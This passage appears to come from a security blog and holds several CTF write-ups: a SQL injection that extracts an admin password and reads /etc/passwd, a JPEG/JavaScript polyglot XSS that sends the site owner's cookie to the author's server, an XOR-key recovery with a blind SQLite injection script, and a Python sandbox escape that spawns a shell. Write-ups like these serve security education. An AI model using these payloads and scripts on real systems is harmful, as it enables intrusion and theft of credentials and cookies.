<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"Zm9vQGJhci5jb20="</span> | <span class="nb">base64</span> <span class="nt">-d</span>
admin@sqlilabs.com</code></pre></figure>
<p>Perfect! We just found the flaw. Now we need to figure out the password column
and the table name to retrieve the password of the <code class="language-plaintext highlighter-rouge">admin</code> user. We assumed
the column would be called <code class="language-plaintext highlighter-rouge">password</code> so we now only had to discover the table
name. We looked up for tables with <code class="language-plaintext highlighter-rouge">password</code>-named columns with the following
SQL:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="o">!!</span><span class="s1">' union select (select table_name from information_schema.columns where column_name = '</span><span class="n">password</span><span class="s1">'), '</span><span class="n">a</span></code></pre></figure>
<p>Turns out it was called <code class="language-plaintext highlighter-rouge">users</code>. How predictable! Why didn’t we try <code class="language-plaintext highlighter-rouge">users</code>
before typing all that SQL?</p>
<p>Now we only needed to know the user’s password. So we injected the following:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="o">!!</span><span class="s1">' union select password, name from users where name = '</span><span class="k">admin</span></code></pre></figure>
<p>Which gave us <code class="language-plaintext highlighter-rouge">sqlilabRocKs!!</code> as the <code class="language-plaintext highlighter-rouge">admin</code> password.</p>
<p>Logging in with our newly found credentials we get:</p>
<figure class="highlight"><pre><code class="language-text" data-lang="text">Well done, Flag is 815290. 2nd flag is in file secret.txt</code></pre></figure>
<figure class="float">
<a href="/assets/images/27-oct-2013/youareadmin.png" class="image-popup">
<img src="/assets/images/27-oct-2013/youareadmin.png" alt="youareadmin" />
</a>
</figure>
<h2 id="second-flag">Second flag</h2>
<p>The first flag revealed that the server had a <code class="language-plaintext highlighter-rouge">secret.txt</code> file, which we
tried to read using <code class="language-plaintext highlighter-rouge">load_file()</code> in a SQLi only to find that we were unable to
do so. How foolish of us! Of course it wouldn’t be that easy.</p>
<p>After we put some thought on it, sigsegv (a team member) suggested trying to read
<code class="language-plaintext highlighter-rouge">/etc/passwd</code>. We did it by injecting this:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="o">!!</span><span class="s1">' union select load_file('</span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">passwd</span><span class="s1">'), '</span><span class="n">a</span></code></pre></figure>
<p>Guess what we found? An user which had his password field set:</p>
<figure class="highlight"><pre><code class="language-text" data-lang="text">temp123:x:1001:1001:weakpassword1:/home/temp123:/bin/sh</code></pre></figure>
<p>We ssh’d into <code class="language-plaintext highlighter-rouge">ctf.notsosecure.com</code> using that username and password and it
worked. Now we only had to read <code class="language-plaintext highlighter-rouge">/secret.txt</code>:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">cat</span> /secret.txt
<span class="nb">cat</span>: /secret.txt: Permission denied</code></pre></figure>
<p>Oh snap! Why can’t we read it? <code class="language-plaintext highlighter-rouge">ls -l</code> revealed it could only be read by
<code class="language-plaintext highlighter-rouge">www-data</code>:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span>
<span class="nt">-r--------</span> 1 www-data www-data 684 Oct 25 07:46 secret.txt</code></pre></figure>
<p>We couldn’t use <code class="language-plaintext highlighter-rouge">sudo</code> or <code class="language-plaintext highlighter-rouge">su</code>, we didn’t find any exploitable suid executable
(we didn’t search thoroughly actually) and we could not put a script into
<code class="language-plaintext highlighter-rouge">/var/www</code> to dump the contents of the file.</p>
<p>“Damn”, we thought, “how the hell are we going to read that file?”.</p>
<p>Looking for more options, we went to apache’s configuration directory and then into it’s <code class="language-plaintext highlighter-rouge">mods-enabled</code>folder:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">pwd</span>
/etc/apache2/mods-enabled
<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span>
...
lrwxrwxrwx 1 root root 30 Oct 6 17:17 userdir.conf -> ../mods-available/userdir.conf
lrwxrwxrwx 1 root root 30 Oct 6 17:17 userdir.load -> ../mods-available/userdir.load</code></pre></figure>
<p>“Mua-ha-ha!” Now everything seemed clear! Mod userdir lets us create a directory at the users home and access
it via the webserver.</p>
<p>We then created the directory <code class="language-plaintext highlighter-rouge">~/public_html</code> and put a little PHP script to dump the
<code class="language-plaintext highlighter-rouge">secret.txt</code> file:</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp"><?php</span> <span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'/secret.txt'</span><span class="p">);</span></code></pre></figure>
<p>We opened the URL <code class="language-plaintext highlighter-rouge">http://ctf.notsosecure.com/~temp123/</code> and there it was, the flag.</p>
<figure class="highlight"><pre><code class="language-text" data-lang="text">Well done, 2nd Flag is 128738213812990. email both the flags to ctf@notsosecure.com [...]</code></pre></figure>
<figure class="float">
<a href="/assets/images/27-oct-2013/flag2.png" class="image-popup">
<img src="/assets/images/27-oct-2013/flag2.png" alt="youareadmin" />
</a>
</figure>
<p>We had finally reached the goal of our quest. It was a pleasant challenge!</p>
<p>Thanks to SQLi Labs and NotSoSecure for all the fun.</p>
<p>See you next time!</p>
Write-up: BkP CTF 2013 Nedias Pictures2013-06-09T00:00:00+00:00https://www.gilgalab.com/blog/2013/06/09/Write-up-BkPCTF-Nedias-Pictures<h2 id="introduction">Introduction</h2>
<p>This is a web challenge. There is an XSS flaw in the website and one needs to steal the cookie from the website owner because it has the flag in it. The owner accesses the site everytime a new picture is sent :)</p>
<p>In the website we are able to upload a picture and select if this picture will be presented using the <img> tag or the <script> tag by chaging the value of the <strong>“tag”</strong> POST variable.</p>
<p>The website is validating if the image sent is really an image (it will check the image data to make sure that the file being uploaded is not a script or something).</p>
<div style="text-align: center;">
<img src="/assets/images/09-jun-2013/nedia.png" alt="Nedia's Pictures" width="552" height="345" />
</div>
<h2 id="solution">Solution</h2>
<p>So, what we need to do is to bypass the checking for the image that is made on the server side and have this image to be interpreted.</p>
<p>After searching around a little bit the different file formats, the JPG format called my attention. A “valid” JPG file needs only two bytes: <strong>\xFF\xD8</strong>, which will pass the filter as it will be interpreted as a JPEG file AND is also valid javascript code (now you have a variable with that name).</p>
<p>Very cool, so with this I have created the following payload:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>echo -en "\xff\xd8\xff\xf8=1;img=new Image();img.src='http://www.gilgalab.com.br/?cookie='+document.cookie;" > xpto2.jpg
</code></pre></div></div>
<p>The <strong>\xFF\xF8</strong> indicates that we are starting a comment section in the JPEG file, and is also valid javascript!</p>
<p>After that all I had to do was to upload the image and set the <strong>“tag”</strong> field to <strong>“script”</strong> and check the apache logs!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>54.218.11.211 - - [09/Jun/2013:00:43:27 +0000] "GET /?cookie=flag=didnt_need_script_tags_on_ie6 HTTP/1.1" 200 2476 "http://localhost/gallery/63330c986a4daffe2c4cec548945de1b5ee456c2/upload.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0"
</code></pre></div></div>
<p>So the flag is <strong>flag=didnt_need_script_tags_on_ie6</strong></p>
<p>Nice challenge :)</p>
Write-up: ebCTF Web2002013-06-01T00:00:00+00:00https://www.gilgalab.com/blog/2013/06/01/Write-up-ebCTF-Web200<h2 id="introduction">Introduction</h2>
<p>This weekend took place the ebCTF Teaser and it was pretty awesome. The tasks were pretty fun but the time a little bit too short in my opinion.</p>
<p>The Web200 challenge asked the user to buy some nice Dutch wooden shoes in a website. Once in the site you would see a screen listing the model of shoes and a nice search bar for you to filter for your preferred models.</p>
<div style="text-align: center;">
<img src="/assets/images/01-jun-2013/wooden_shoes.png" alt="Wooden Shoes" width="552" height="345" />
</div>
<p>Doing a search, would result in the following request to the server: <strong>GET /?action=search&words=shoename&sort=price HTTP/1.1</strong></p>
<p>The search would filter anything outside of the [a-zA-Z0-9] range (spaces were also accepted) and would encode your request and pass it to the page that would actually process it. The URL of the page that will be processing the query ends up looking like this: <strong>http://54.228.109.101:5000/?action=display&what=0722882d4bba4fdfdb</strong></p>
<p>The player is requested to find the flag for the challenge.</p>
<h2 id="how-to-do-it">How to do it</h2>
<p>After playing around with the ‘words’ and ‘sort’ variable it was noticed that the ‘sort’ was vulnerable to a SQL Injection attack. One could pass a number to it representing a column to order by the data or even a ‘limit’ command to limit the results.</p>
<p>This means that the request <strong>GET /?action=search&words=o&sort=1%20limit%201 HTTP/1.1</strong> would work and return a single row. Looking at it we can figure that the query running in the site looks somewhat like this:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">shoes</span> <span class="k">where</span> <span class="n">shotype</span> <span class="k">like</span> <span class="s1">'%$clean_var_here%'</span> <span class="k">order</span> <span class="k">by</span> <span class="err">$$</span><span class="n">sort</span></code></pre></figure>
<p>Now that the vulnerability is found we need a way to use it somehow but we still have the issue that the data being passed to the query is encrypted somehow as noted by the <strong>what</strong> variable above.</p>
<p>I won’t be discussing all the things I’ve tried and the whole thinking process on how I figured out the encryption. I will simply show how I found it.</p>
<p>The first thing I noticed was that when I entered a search string such as ‘1’ I would have the value ‘574a9b5552ab43’ returned in the ‘what’ variable. Looking at the request that was made I saw the following: ‘?action=search&words=1&sort=price’.</p>
<p>The crypted value we have is 7 bytes long (considering that it is a hexadecimal value), which then probably meant: 1 byte representing the number 1 (57) + 1 byte as a separator (4a) + 5 bytes representing the ‘price’ value (9b5552ab43).</p>
<p>I could confirm that this was really the case, by changing ‘price’ to ‘1’ and noticing that the new crypted value now had only 3 bytes (of course I tested many more values to make sure).</p>
<p>I started then trying to put the same value in the search multiple times (such as ‘1111’) in order to find a repetition pattern. After 32 bytes we started to have a repetition. Consider this request:</p>
<p><strong>GET /?action=search&words=111111111111111111111111111111111111111&sort=1</strong></p>
<p>Those are 40 ‘1’s in our search. This resulted in the following URL:</p>
<p>http://54.228.109.101:5000/?action=display&<strong>what=5771da160af9178d8ffa72f2a8c579dfab2bb50a2b1866746f3311c07f8c98745771da160af917b68f</strong></p>
<p>Looking at it, one will notice that at the 33rd byte, the pattern will start repeating:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x57 0x71 0xda 0x16 0x0a 0xf9 0x17 0x8d 0x8f 0xfa 0x72 0xf2 0xa8 0xc5 0x79 0xdf 0xab 0x2b 0xb5 0x0a 0x2b 0x18 0x66 0x74 0x6f 0x33 0x11 0xc0 0x7f 0x8c 0x98 0x74
0x57 0x71 0xda 0x16 0x0a 0xf9 0x17 0xb6 0x8f
</code></pre></div></div>
<p>You will notice that in the second line the byte ‘0xb6’ is different. That is because that is not a ‘1’, it is a separator value as noted before.</p>
<p>So, how to figure out the key that is encrypting this data? The first logical step is to try an XOR! We have the encoded value, we have the decoded value… so if we XOR one by the other, we will have the <strong>key</strong>!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x57 0x71 0xda 0x16 0x0a 0xf9 0x17 0x8d 0x8f 0xfa 0x72 0xf2 0xa8 0xc5 0x79 0xdf 0xab 0x2b 0xb5 0x0a 0x2b 0x18 0x66 0x74 0x6f 0x33 0x11 0xc0 0x7f 0x8c 0x98 0x74
XOR
0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31
RESULT
0x66 0x40 0xeb 0x27 0x3b 0xc8 0x26 0xbc 0xbe 0xcb 0x43 0xc3 0x99 0xf4 0x48 0xee 0x9a 0x1a 0x84 0x3b 0x1a 0x29 0x57 0x45 0x5e 0x02 0x20 0xf1 0x4e 0xbd 0xa9 0x45
</code></pre></div></div>
<p>There is our key!</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">key</span> <span class="o">=</span> <span class="sh">"</span><span class="se">\x66\x40\xeb\x27\x3b\xc8\x26\xbc\xbe\xcb\x43\xc3\x99\xf4\x48\xee\x9a\x1a\x84\x3b\x1a\x29\x57\x45\x5e\x02\x20\xf1\x4e\xbd\xa9\x45</span><span class="sh">"</span></code></pre></figure>
<p>With this key in hands, I have put together a script that would convert any string I wanted to the crypted value allowing me to bypass the checks for characters outside the [a-zA-Z0-9] range. The script looked something like this:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="n">requests</span>
<span class="c1"># separator is "\n"
# words=abc&order=Price -> abc\nPrice
</span>
<span class="n">key</span> <span class="o">=</span> <span class="sh">"</span><span class="se">\x66\x40\xeb\x27\x3b\xc8\x26\xbc\xbe\xcb\x43\xc3\x99\xf4\x48\xee\x9a\x1a\x84\x3b\x1a\x29\x57\x45\x5e\x02\x20\xf1\x4e\xbd\xa9\x45</span><span class="sh">"</span>
<span class="n">sql</span> <span class="o">=</span> <span class="sh">"</span><span class="s">o</span><span class="se">\n</span><span class="sh">"</span>
<span class="c1"># Change this one here
</span><span class="n">sql</span> <span class="o">+=</span> <span class="sh">"</span><span class="s">(select sqlite_version())</span><span class="sh">"</span>
<span class="k">def</span> <span class="nf">crypt</span><span class="p">(</span><span class="n">msg</span><span class="p">):</span>
<span class="n">result</span> <span class="o">=</span> <span class="sh">""</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">msg</span><span class="p">)):</span>
<span class="n">result</span> <span class="o">+=</span> <span class="nf">format</span><span class="p">(</span><span class="nf">ord</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">^</span> <span class="nf">ord</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nf">len</span><span class="p">(</span><span class="n">key</span><span class="p">)]),</span> <span class="sh">'</span><span class="s">02x</span><span class="sh">'</span><span class="p">)</span>
<span class="k">return</span> <span class="n">result</span>
<span class="n">result</span> <span class="o">=</span> <span class="nf">crypt</span><span class="p">(</span><span class="n">sql</span><span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">result</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">"</span><span class="s">0x</span><span class="sh">"</span><span class="p">))</span>
<span class="k">print</span> <span class="n">result</span>
<span class="n">url</span> <span class="o">=</span> <span class="sh">'</span><span class="s">http://54.228.109.101:5000/</span><span class="sh">'</span>
<span class="n">payload</span> <span class="o">=</span> <span class="p">{</span><span class="sh">'</span><span class="s">action</span><span class="sh">'</span> <span class="p">:</span> <span class="sh">'</span><span class="s">display</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">what</span><span class="sh">'</span> <span class="p">:</span> <span class="n">result</span><span class="p">}</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">payload</span><span class="p">)</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">content</span>
<span class="k">print</span> <span class="sh">"</span><span class="s">url = %s?action=display&what=%s</span><span class="sh">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">result</span><span class="p">)</span></code></pre></figure>
<p>The last step now is to figure out what to inject!</p>
<p>The first step into this was figuring out what was the database being used. After many attempts to exclude what was possible and what was not, the query used was the one presented in the script above. it made the query something like this:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">shoes</span> <span class="k">where</span> <span class="n">shotype</span> <span class="k">like</span> <span class="s1">'%o%'</span> <span class="k">order</span> <span class="k">by</span> <span class="p">(</span><span class="k">select</span> <span class="n">sqlite_version</span><span class="p">())</span></code></pre></figure>
<p>As the script was succesfull returning the page it meant that it was working! Time to google for some useful SQLite queries ;)</p>
<p>Our injection is being placed after an order by, so a ‘union all’ is not possible. Trying to add a ‘;’ and writing a new query also proved useless (the application was filtering such behaviour). The only I could come up with a blind sql injection using the ‘limit’ clause to tell me if I got my guess right or not.</p>
<p>What I would need was a query like this:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">shoes</span> <span class="k">where</span> <span class="n">shotype</span> <span class="k">like</span> <span class="s1">'%o%'</span> <span class="k">order</span> <span class="k">by</span> <span class="mi">1</span> <span class="k">limit</span> <span class="p">(</span>
<span class="k">SELECT</span> <span class="k">case</span><span class="p">(</span><span class="n">substr</span><span class="p">(</span><span class="k">lower</span><span class="p">(</span><span class="n">name</span><span class="p">),</span><span class="o">%</span><span class="n">d</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span> <span class="k">when</span> <span class="s1">'%c'</span> <span class="k">then</span> <span class="mi">2</span> <span class="k">else</span> <span class="mi">0</span> <span class="k">end</span> <span class="k">FROM</span> <span class="n">sqlite_master</span> <span class="k">limit</span> <span class="mi">1</span> <span class="k">offset</span> <span class="o">%</span><span class="n">d</span>
<span class="p">)</span></code></pre></figure>
<p>With this we can do a select in the sqlite_master table and check the return letter by letter also one record at a time. If the letter is correct, the query will evaluate to ‘2’ and the resulting page will be X bytes long. If the letter is wrong, the query evaluates to ‘0’ and the page will be Y bytes long (Y < X).</p>
<p>With this in mind, the following script was written:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="n">requests</span>
<span class="kn">import</span> <span class="n">string</span>
<span class="kn">import</span> <span class="n">sys</span>
<span class="n">key</span> <span class="o">=</span> <span class="sh">"</span><span class="se">\x66\x40\xeb\x27\x3b\xc8\x26\xbc\xbe\xcb\x43\xc3\x99\xf4\x48\xee\x9a\x1a\x84\x3b\x1a\x29\x57\x45\x5e\x02\x20\xf1\x4e\xbd\xa9\x45</span><span class="sh">"</span>
<span class="k">def</span> <span class="nf">crypt</span><span class="p">(</span><span class="n">msg</span><span class="p">):</span>
<span class="n">result</span> <span class="o">=</span> <span class="sh">""</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">msg</span><span class="p">)):</span>
<span class="n">result</span> <span class="o">+=</span> <span class="nf">format</span><span class="p">(</span><span class="nf">ord</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">^</span> <span class="nf">ord</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nf">len</span><span class="p">(</span><span class="n">key</span><span class="p">)]),</span> <span class="sh">'</span><span class="s">02x</span><span class="sh">'</span><span class="p">)</span>
<span class="k">return</span> <span class="n">result</span>
<span class="k">def</span> <span class="nf">build_str</span><span class="p">():</span>
<span class="n">alphabet</span> <span class="o">=</span> <span class="sh">'</span><span class="s">0123456789abcdefghijklmnopqrstuvwxyz{}-_|</span><span class="se">\\</span><span class="sh">'</span>
<span class="c1">#alphabet = string.printable
</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">20</span><span class="p">):</span>
<span class="n">found</span> <span class="o">=</span> <span class="bp">True</span>
<span class="c1">#print "Record %d: \n" % line
</span> <span class="k">for</span> <span class="n">pos</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">50</span><span class="p">):</span>
<span class="k">if</span> <span class="n">found</span> <span class="o">==</span> <span class="bp">False</span><span class="p">:</span>
<span class="k">break</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">alphabet</span><span class="p">)):</span>
<span class="n">found</span> <span class="o">=</span> <span class="bp">False</span>
<span class="n">curr_char</span> <span class="o">=</span> <span class="n">alphabet</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="c1">#print "Trying %c" % curr_char
</span>
<span class="n">sql</span> <span class="o">=</span> <span class="sh">"</span><span class="s">o</span><span class="se">\n</span><span class="sh">"</span>
<span class="n">sql</span> <span class="o">+=</span> <span class="sh">"</span><span class="s">1 limit (SELECT case(substr(lower(name),%d,1)) when </span><span class="sh">'</span><span class="s">%c</span><span class="sh">'</span><span class="s"> then 2 else 0 end FROM sqlite_master limit 1 offset %d)</span><span class="sh">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">pos</span><span class="p">,</span> <span class="n">alphabet</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">line</span><span class="p">)</span>
<span class="c1">#print sql
</span>
<span class="n">result</span> <span class="o">=</span> <span class="nf">crypt</span><span class="p">(</span><span class="n">sql</span><span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">result</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">"</span><span class="s">0x</span><span class="sh">"</span><span class="p">))</span>
<span class="n">url</span> <span class="o">=</span> <span class="sh">'</span><span class="s">http://54.228.109.101:5000/</span><span class="sh">'</span>
<span class="n">payload</span> <span class="o">=</span> <span class="p">{</span><span class="sh">'</span><span class="s">action</span><span class="sh">'</span> <span class="p">:</span> <span class="sh">'</span><span class="s">display</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">what</span><span class="sh">'</span> <span class="p">:</span> <span class="n">result</span><span class="p">}</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">payload</span><span class="p">)</span>
<span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">content</span><span class="p">)</span> <span class="o">>=</span> <span class="mi">1800</span><span class="p">:</span>
<span class="c1">#print len(r.content)
</span> <span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">curr_char</span><span class="p">)</span>
<span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="nf">flush</span><span class="p">()</span>
<span class="n">found</span> <span class="o">=</span> <span class="bp">True</span>
<span class="k">break</span>
<span class="nf">build_str</span><span class="p">()</span>
<span class="sh">'''</span><span class="s">
result = crypt(sql)
result = </span><span class="sh">''</span><span class="s">.join(result.split(</span><span class="sh">"</span><span class="s">0x</span><span class="sh">"</span><span class="s">))
print result
url = </span><span class="sh">'</span><span class="s">http://54.228.109.101:5000/</span><span class="sh">'</span><span class="s">
payload = {</span><span class="sh">'</span><span class="s">action</span><span class="sh">'</span><span class="s"> : </span><span class="sh">'</span><span class="s">display</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">what</span><span class="sh">'</span><span class="s"> : result}
r = requests.get(url, params=payload)
print r.content
print </span><span class="sh">"</span><span class="s">url = %s?action=display&what=%s</span><span class="sh">"</span><span class="s"> % (url, result)
</span><span class="sh">'''</span></code></pre></figure>
<p>This script returned as first result the string ‘secret_flag’. Tadam! Now we have a table name!</p>
<p>I just took the obvious thinking that the column name in the table would be ‘flag’ and tried to change the query in the script above to:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"> <span class="n">sql</span> <span class="o">=</span> <span class="sh">"</span><span class="s">o</span><span class="se">\n</span><span class="sh">"</span>
<span class="n">sql</span> <span class="o">+=</span> <span class="sh">"</span><span class="s">1 limit (SELECT case(substr(lower(flag),%d,1)) when </span><span class="sh">'</span><span class="s">%c</span><span class="sh">'</span><span class="s"> then 2 else 0 end FROM secret_flag limit 1 offset %d)</span><span class="sh">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">pos</span><span class="p">,</span> <span class="n">alphabet</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">line</span><span class="p">)</span></code></pre></figure>
<p>Which returned me the flag: <strong>ebctf{f824f6f9bd9b7449813dbf9b18d3e668}</strong></p>
<p>And that was it!</p>
<p>Really fun challenge :)</p>
Write-up: PicoCTF Python Eval 52013-05-06T00:00:00+00:00https://www.gilgalab.com/blog/2013/05/06/Write-up-PicoCTF-python-eval-5<h2 id="introduction">Introduction</h2>
<p>This challenge asked us to bypass a Python Jail. The script starts removing all built-in stuff from the interpreter and executes our code using ‘exec’.</p>
<p>The goal is to get a shell so we can read the flag file (as we do not know the file name).</p>
<p>Here is the code:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#!/usr/bin/python -u
# task5.py
# A real challenge for those python masters out there :)
</span>
<span class="kn">from</span> <span class="n">sys</span> <span class="kn">import</span> <span class="n">modules</span>
<span class="n">modules</span><span class="p">.</span><span class="nf">clear</span><span class="p">()</span>
<span class="k">del</span> <span class="n">modules</span>
<span class="n">_raw_input</span> <span class="o">=</span> <span class="nb">raw_input</span>
<span class="n">_BaseException</span> <span class="o">=</span> <span class="nb">BaseException</span>
<span class="n">_EOFError</span> <span class="o">=</span> <span class="nb">EOFError</span>
<span class="n">__builtins__</span><span class="p">.</span><span class="n">__dict__</span><span class="p">.</span><span class="nf">clear</span><span class="p">()</span>
<span class="n">__builtins__</span> <span class="o">=</span> <span class="bp">None</span>
<span class="k">print</span> <span class="sh">'</span><span class="s">Get a shell, if you can...</span><span class="sh">'</span>
<span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">d</span> <span class="o">=</span> <span class="p">{</span><span class="sh">'</span><span class="s">x</span><span class="sh">'</span><span class="p">:</span><span class="bp">None</span><span class="p">}</span>
<span class="k">exec</span> <span class="sh">'</span><span class="s">x=</span><span class="sh">'</span><span class="o">+</span><span class="nf">_raw_input</span><span class="p">()[:</span><span class="mi">50</span><span class="p">]</span> <span class="ow">in</span> <span class="n">d</span>
<span class="k">print</span> <span class="sh">'</span><span class="s">Return Value:</span><span class="sh">'</span><span class="p">,</span> <span class="n">d</span><span class="p">[</span><span class="sh">'</span><span class="s">x</span><span class="sh">'</span><span class="p">]</span>
<span class="k">except</span> <span class="n">_EOFError</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="k">raise</span> <span class="n">e</span>
<span class="k">except</span> <span class="n">_BaseException</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="k">print</span> <span class="sh">'</span><span class="s">Exception:</span><span class="sh">'</span><span class="p">,</span> <span class="n">e</span></code></pre></figure>
<p>The solution took a big amount of manual searching.</p>
<p>The one interesting thing to comment about is how to bypass the 50 chars limit for the string to be executed (I needed 88 chars for my payload).</p>
<p>In the scope of execution of exec there will be a ‘<strong>builtins</strong>’ dictionary created. It is empty, but it is there. You can use this to create local symbols that can be used. For example:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">__builtins__</span><span class="p">[</span><span class="sh">'</span><span class="s">a</span><span class="sh">'</span><span class="p">]</span><span class="o">=</span><span class="p">().</span><span class="n">__class__</span><span class="p">.</span><span class="n">__base__</span>
<span class="n">a</span><span class="p">.</span><span class="nf">__subclasses__</span><span class="p">()</span></code></pre></figure>
<p>In order to change the ‘a’ symbol thou, you have to do it via the ‘<strong>builtins</strong>’ dictionary.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">__builtins__</span><span class="p">[</span><span class="sh">'</span><span class="s">a</span><span class="sh">'</span><span class="p">]</span><span class="o">=</span><span class="p">().</span><span class="n">__class__</span><span class="p">.</span><span class="n">__base__</span>
<span class="n">__builtins__</span><span class="p">[</span><span class="sh">'</span><span class="s">a</span><span class="sh">'</span><span class="p">]</span><span class="o">=</span><span class="n">a</span><span class="p">.</span><span class="nf">__subclasses__</span><span class="p">()</span></code></pre></figure>
<p>So like this you can bypass those 50 chars ;)</p>
<p>At the end, my solution looked like this:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">__builtins__</span><span class="p">[</span><span class="sh">'</span><span class="s">a</span><span class="sh">'</span><span class="p">]</span><span class="o">=</span><span class="p">(</span><span class="mi">1</span><span class="p">).</span><span class="n">__class__</span><span class="p">.</span><span class="n">__base__</span>
<span class="n">__builtins__</span><span class="p">[</span><span class="sh">'</span><span class="s">a</span><span class="sh">'</span><span class="p">]</span><span class="o">=</span><span class="n">a</span><span class="p">.</span><span class="nf">__subclasses__</span><span class="p">()</span>
<span class="n">__builtins__</span><span class="p">[</span><span class="sh">'</span><span class="s">a</span><span class="sh">'</span><span class="p">]</span><span class="o">=</span><span class="n">a</span><span class="p">[</span><span class="mi">53</span><span class="p">].</span><span class="n">__init__</span>
<span class="n">__builtins__</span><span class="p">[</span><span class="sh">'</span><span class="s">a</span><span class="sh">'</span><span class="p">]</span><span class="o">=</span><span class="n">a</span><span class="p">.</span><span class="n">__globals__</span><span class="p">[</span><span class="sh">'</span><span class="s">linecache</span><span class="sh">'</span><span class="p">]</span>
<span class="n">a</span><span class="p">.</span><span class="n">os</span><span class="p">.</span><span class="nf">execlp</span><span class="p">(</span><span class="sh">'</span><span class="s">sh</span><span class="sh">'</span><span class="p">,</span><span class="sh">'</span><span class="s">sh</span><span class="sh">'</span><span class="p">)</span></code></pre></figure>
